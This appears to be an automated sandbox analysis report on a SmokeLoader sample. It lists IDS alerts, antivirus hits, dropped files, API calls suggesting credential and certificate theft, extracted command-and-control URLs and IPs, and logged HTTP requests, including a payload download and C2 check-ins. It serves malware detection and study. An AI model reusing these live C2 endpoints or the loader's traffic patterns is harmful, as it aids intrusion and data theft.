2024-10-08T03:15:25.174280+0200	2809882	1	Malware Command and Control Activity Detected	192.168.2.4	49959	23.145.40.168	443	TCP
2024-10-08T03:15:26.096204+0200	2809882	1	Malware Command and Control Activity Detected	192.168.2.4	49965	23.145.40.168	443	TCP
2024-10-08T03:15:27.035482+0200	2809882	1	Malware Command and Control Activity Detected	192.168.2.4	49971	23.145.40.168	443	TCP
2024-10-08T03:15:27.919881+0200	2809882	1	Malware Command and Control Activity Detected	192.168.2.4	49977	23.145.40.168	443	TCP
2024-10-08T03:15:28.860193+0200	2809882	1	Malware Command and Control Activity Detected	192.168.2.4	49983	23.145.40.168	443	TCP
2024-10-08T03:15:29.756748+0200	2809882	1	Malware Command and Control Activity Detected	192.168.2.4	49989	23.145.40.168	443	TCP
2024-10-08T03:15:30.634802+0200	2809882	1	Malware Command and Control Activity Detected	192.168.2.4	49995	23.145.40.168	443	TCP
2024-10-08T03:15:31.568650+0200	2809882	1	Malware Command and Control Activity Detected	192.168.2.4	50001	23.145.40.168	443	TCP
2024-10-08T03:15:32.467294+0200	2809882	1	Malware Command and Control Activity Detected	192.168.2.4	50008	23.145.40.168	443	TCP
2024-10-08T03:15:33.339954+0200	2809882	1	Malware Command and Control Activity Detected	192.168.2.4	50015	23.145.40.168	443	TCP
2024-10-08T03:15:34.238068+0200	2809882	1	Malware Command and Control Activity Detected	192.168.2.4	50024	23.145.40.168	443	TCP
2024-10-08T03:15:35.149562+0200	2809882	1	Malware Command and Control Activity Detected	192.168.2.4	50030	23.145.40.168	443	TCP
2024-10-08T03:15:36.592551+0200	2809882	1	Malware Command and Control Activity Detected	192.168.2.4	50036	23.145.40.168	443	TCP
2024-10-08T03:15:38.491915+0200	2809882	1	Malware Command and Control Activity Detected	192.168.2.4	50043	23.145.40.168	443	TCP
2024-10-08T03:16:57.772199+0200	2809882	1	Malware Command and Control Activity Detected	192.168.2.4	50060	23.145.40.168	443	TCP
2024-10-08T03:16:58.803947+0200	2809882	1	Malware Command and Control Activity Detected	192.168.2.4	50061	23.145.40.168	443	TCP
2024-10-08T03:17:16.585580+0200	2809882	1	Malware Command and Control Activity Detected	192.168.2.4	50063	23.145.40.168	443	TCP
2024-10-08T03:17:34.688036+0200	2809882	1	Malware Command and Control Activity Detected	192.168.2.4	50065	23.145.40.168	443	TCP
2024-10-08T03:17:52.198933+0200	2809882	1	Malware Command and Control Activity Detected	192.168.2.4	50067	23.145.40.168	443	TCP

ETPRO MALWARE SmokeLoader encrypted module (3)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-08T03:15:19.731852+0200	2829848	2	Potentially Bad Traffic	23.145.40.168	443	192.168.2.4	49915	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: ctMI3TYXpX.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Roaming\jghruer	Avira: detection malicious, Label: HEUR/AGEN.1310247
Source: C:\Users\user\AppData\Roaming\hdhruer	Avira: detection malicious, Label: HEUR/AGEN.1310247
Source: C:\Users\user\AppData\Local\Temp\35DB.exe	Avira: detection malicious, Label: HEUR/AGEN.1310247

Found malware configuration

Source: 00000006.00000002.2327201404.00000000005C0000.00000004.00001000.00020000.00000000.sdmp

Malware Configuration Extractor: SmokeLoader {"Version": 2022, "C2 list": ["https://ninjahallnews.com/search.php", "https://fallhandbat.com/search.php"]}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\jghruer

ReversingLabs: Detection: 28%

Multi AV Scanner detection for submitted file

Source: ctMI3TYXpX.exe	ReversingLabs: Detection: 28%
Source: ctMI3TYXpX.exe	Virustotal: Detection: 38%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\B972.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\jghruer	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\hdhruer	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\35DB.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: ctMI3TYXpX.exe

Joe Sandbox ML: detected

Source: C:\Users\user\AppData\Local\Temp\B972.exe	Code function: 9_2_00007FF6F2D63220 CertGetCertificateContextProperty,CryptAcquireCertificatePrivateKey,CryptGetUserKey,LoadLibraryA,GetProcAddress,VirtualProtect,VirtualProtect,CryptExportKey,VirtualProtect,VirtualProtect,CryptAcquireContextA,CryptImportKey,OpenSCManagerA,OpenServiceA,QueryServiceStatusEx,OpenProcess,ReadProcessMemory,ReadProcessMemory,WriteProcessMemory,NCryptExportKey,CertOpenStore,CertAddCertificateLinkToStore,CertSetCertificateContextProperty,PFXExportCertStoreEx,PFXExportCertStoreEx,	9_2_00007FF6F2D63220
Source: C:\Users\user\AppData\Local\Temp\B972.exe	Code function: 9_2_00007FF6F2D636F0 CryptExportKey,CryptExportKey,	9_2_00007FF6F2D636F0
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 13_2_02753098 GetTempPathW,GetTempFileNameW,DeleteFileW,CopyFileW,RtlCompareMemory,RtlZeroMemory,CryptUnprotectData,DeleteFileW,	13_2_02753098
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 13_2_02753717 GetTempPathW,GetTempFileNameW,DeleteFileW,CopyFileW,RtlCompareMemory,RtlZeroMemory,lstrlen,lstrlen,wsprintfA,lstrlen,lstrcat,CryptUnprotectData,lstrlen,lstrlen,wsprintfA,lstrlen,lstrcat,lstrlen,DeleteFileW,	13_2_02753717
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 13_2_02753E04 RtlCompareMemory,CryptUnprotectData,	13_2_02753E04
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 13_2_0275123B lstrlen,CryptStringToBinaryA,CryptStringToBinaryA,	13_2_0275123B
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 13_2_027511E1 lstrcmpiW,lstrlenW,CryptStringToBinaryW,CryptStringToBinaryW,CryptStringToBinaryW,	13_2_027511E1
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 13_2_02751198 CryptBinaryToStringA,CryptBinaryToStringA,	13_2_02751198
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 13_2_02751FCE CryptUnprotectData,RtlMoveMemory,	13_2_02751FCE
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 16_2_0014245E lstrlen,CryptBinaryToStringA,CryptBinaryToStringA,	16_2_0014245E
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 16_2_00142404 lstrlen,CryptStringToBinaryA,CryptStringToBinaryA,CryptStringToBinaryA,	16_2_00142404
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 16_2_0014263E CryptAcquireContextA,CryptCreateHash,lstrlen,CryptHashData,CryptGetHashParam,wsprintfA,CryptDestroyHash,CryptReleaseContext,	16_2_0014263E
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 19_2_02EF25A4 CryptBinaryToStringA,CryptBinaryToStringA,	19_2_02EF25A4
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 19_2_02EF2799 CryptAcquireContextA,CryptCreateHash,lstrlen,CryptHashData,CryptGetHashParam,wsprintfA,CryptDestroyHash,CryptReleaseContext,	19_2_02EF2799

Source: ctMI3TYXpX.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\ctMI3TYXpX.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 23.145.40.164:443 -> 192.168.2.4:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.4:49915 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.4:49924 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.4:49935 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.4:49942 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.4:49951 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.4:49959 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.4:49965 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.4:49971 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.4:49977 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.4:49983 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.4:49989 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.4:49995 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.4:50001 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.4:50008 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.4:50015 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.4:50024 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.4:50030 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.4:50036 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.4:50043 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.4:50055 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.4:50060 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.4:50061 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.4:50063 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.4:50065 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.4:50067 version: TLS 1.2

Source: C:\Users\user\AppData\Local\Temp\B972.exe	Code function: 9_2_00007FF6F2D6FB38 GetEnvironmentVariableW,lstrcatW,lstrcpyW,lstrcatW,FindFirstFileW,lstrcatW,lstrcatW,FindClose,	9_2_00007FF6F2D6FB38
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 13_2_02752B15 FindFirstFileW,lstrcmpiW,lstrcmpiW,StrStrIW,StrStrIW,FindNextFileW,FindClose,	13_2_02752B15
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 13_2_02753ED9 PathCombineW,FindFirstFileW,lstrcmpiW,lstrcmpiW,PathCombineW,lstrcmpiW,PathCombineW,FindNextFileW,FindClose,	13_2_02753ED9
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 13_2_02751D4A FindFirstFileW,lstrcmpiW,lstrcmpiW,lstrcmpiW,FindNextFileW,FindClose,	13_2_02751D4A
Source: C:\Windows\explorer.exe	Code function: 15_2_00CD30A8 FindFirstFileW,FindNextFileW,FindClose,	15_2_00CD30A8

Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49746 -> 180.75.11.133:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49738 -> 180.75.11.133:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49754 -> 180.75.11.133:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49748 -> 180.75.11.133:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49737 -> 180.75.11.133:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49736 -> 180.75.11.133:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49752 -> 180.75.11.133:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49741 -> 180.75.11.133:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49747 -> 180.75.11.133:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49744 -> 180.75.11.133:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49743 -> 180.75.11.133:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49760 -> 180.75.11.133:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49751 -> 180.75.11.133:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49749 -> 180.75.11.133:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49784 -> 180.75.11.133:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49753 -> 180.75.11.133:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49750 -> 180.75.11.133:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49739 -> 180.75.11.133:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49756 -> 180.75.11.133:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49742 -> 180.75.11.133:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49755 -> 180.75.11.133:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49745 -> 180.75.11.133:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49803 -> 180.75.11.133:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49758 -> 180.75.11.133:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49759 -> 180.75.11.133:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49841 -> 180.75.11.133:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49822 -> 180.75.11.133:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49812 -> 180.75.11.133:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49795 -> 180.75.11.133:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49740 -> 180.75.11.133:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49773 -> 180.75.11.133:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49831 -> 180.75.11.133:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:50056 -> 180.75.11.133:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:50057 -> 180.75.11.133:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:50059 -> 180.75.11.133:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:50058 -> 180.75.11.133:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:50062 -> 201.103.8.135:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:50066 -> 201.103.8.135:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:50064 -> 201.103.8.135:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:50068 -> 201.103.8.135:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49915 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2809882 - Severity 1 - ETPRO MALWARE Dridex Post Checkin Activity 3 : 192.168.2.4:49915 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49951 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49942 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2809882 - Severity 1 - ETPRO MALWARE Dridex Post Checkin Activity 3 : 192.168.2.4:49951 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49935 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49959 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2809882 - Severity 1 - ETPRO MALWARE Dridex Post Checkin Activity 3 : 192.168.2.4:49959 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49965 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2809882 - Severity 1 - ETPRO MALWARE Dridex Post Checkin Activity 3 : 192.168.2.4:49935 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2809882 - Severity 1 - ETPRO MALWARE Dridex Post Checkin Activity 3 : 192.168.2.4:49965 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49977 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49971 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2809882 - Severity 1 - ETPRO MALWARE Dridex Post Checkin Activity 3 : 192.168.2.4:49977 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2809882 - Severity 1 - ETPRO MALWARE Dridex Post Checkin Activity 3 : 192.168.2.4:49942 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49989 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2809882 - Severity 1 - ETPRO MALWARE Dridex Post Checkin Activity 3 : 192.168.2.4:49971 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:50001 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2809882 - Severity 1 - ETPRO MALWARE Dridex Post Checkin Activity 3 : 192.168.2.4:49989 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2809882 - Severity 1 - ETPRO MALWARE Dridex Post Checkin Activity 3 : 192.168.2.4:50001 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:50024 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2809882 - Severity 1 - ETPRO MALWARE Dridex Post Checkin Activity 3 : 192.168.2.4:50024 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:50030 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2809882 - Severity 1 - ETPRO MALWARE Dridex Post Checkin Activity 3 : 192.168.2.4:50030 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:50008 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49983 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:50061 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:50065 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:50055 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2809882 - Severity 1 - ETPRO MALWARE Dridex Post Checkin Activity 3 : 192.168.2.4:49983 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2809882 - Severity 1 - ETPRO MALWARE Dridex Post Checkin Activity 3 : 192.168.2.4:50065 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49924 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2809882 - Severity 1 - ETPRO MALWARE Dridex Post Checkin Activity 3 : 192.168.2.4:49924 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2809882 - Severity 1 - ETPRO MALWARE Dridex Post Checkin Activity 3 : 192.168.2.4:50008 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2809882 - Severity 1 - ETPRO MALWARE Dridex Post Checkin Activity 3 : 192.168.2.4:50061 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:50067 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:50036 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2809882 - Severity 1 - ETPRO MALWARE Dridex Post Checkin Activity 3 : 192.168.2.4:50067 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2809882 - Severity 1 - ETPRO MALWARE Dridex Post Checkin Activity 3 : 192.168.2.4:50036 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:50063 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2809882 - Severity 1 - ETPRO MALWARE Dridex Post Checkin Activity 3 : 192.168.2.4:50063 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49995 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2809882 - Severity 1 - ETPRO MALWARE Dridex Post Checkin Activity 3 : 192.168.2.4:49995 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:50015 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2809882 - Severity 1 - ETPRO MALWARE Dridex Post Checkin Activity 3 : 192.168.2.4:50015 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:50043 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2809882 - Severity 1 - ETPRO MALWARE Dridex Post Checkin Activity 3 : 192.168.2.4:50043 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:50060 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2809882 - Severity 1 - ETPRO MALWARE Dridex Post Checkin Activity 3 : 192.168.2.4:50060 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2019082 - Severity 1 - ET MALWARE Windows route Microsoft Windows DOS prompt command exit OUTBOUND : 192.168.2.4:50069 -> 23.145.40.113:443

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Network Connect: 201.103.8.135 80	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Network Connect: 23.145.40.168 443	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 180.75.11.133 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 23.145.40.164 443	Jump to behavior

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: https://ninjahallnews.com/search.php
Source: Malware configuration extractor	URLs: https://fallhandbat.com/search.php

Source: Joe Sandbox View

IP Address: 23.145.40.164 23.145.40.164

Source: Joe Sandbox View	ASN Name: UninetSAdeCVMX UninetSAdeCVMX
Source: Joe Sandbox View	ASN Name: SURFAIRWIRELESS-IN-01US SURFAIRWIRELESS-IN-01US
Source: Joe Sandbox View	ASN Name: WEBE-MY-AS-APWEBEDIGITALSDNBHDMY WEBE-MY-AS-APWEBEDIGITALSDNBHDMY
Source: Joe Sandbox View	ASN Name: SURFAIRWIRELESS-IN-01US SURFAIRWIRELESS-IN-01US

Source: Joe Sandbox View	JA3 fingerprint: 72a589da586844d7f0818ce684948eea
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic

Suricata IDS: 2829848 - Severity 2 - ETPRO MALWARE SmokeLoader encrypted module (3) : 23.145.40.168:443 -> 192.168.2.4:49915

Source: global traffic	HTTP traffic detected: GET /ksa9104.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 23.145.40.164
Source: global traffic	HTTP traffic detected: POST /search.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: https://emovkvrsbdl.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 234Host: ninjahallnews.com
Source: global traffic	HTTP traffic detected: POST /search.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: https://qlmbybhxbuhwwks.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 315Host: ninjahallnews.com
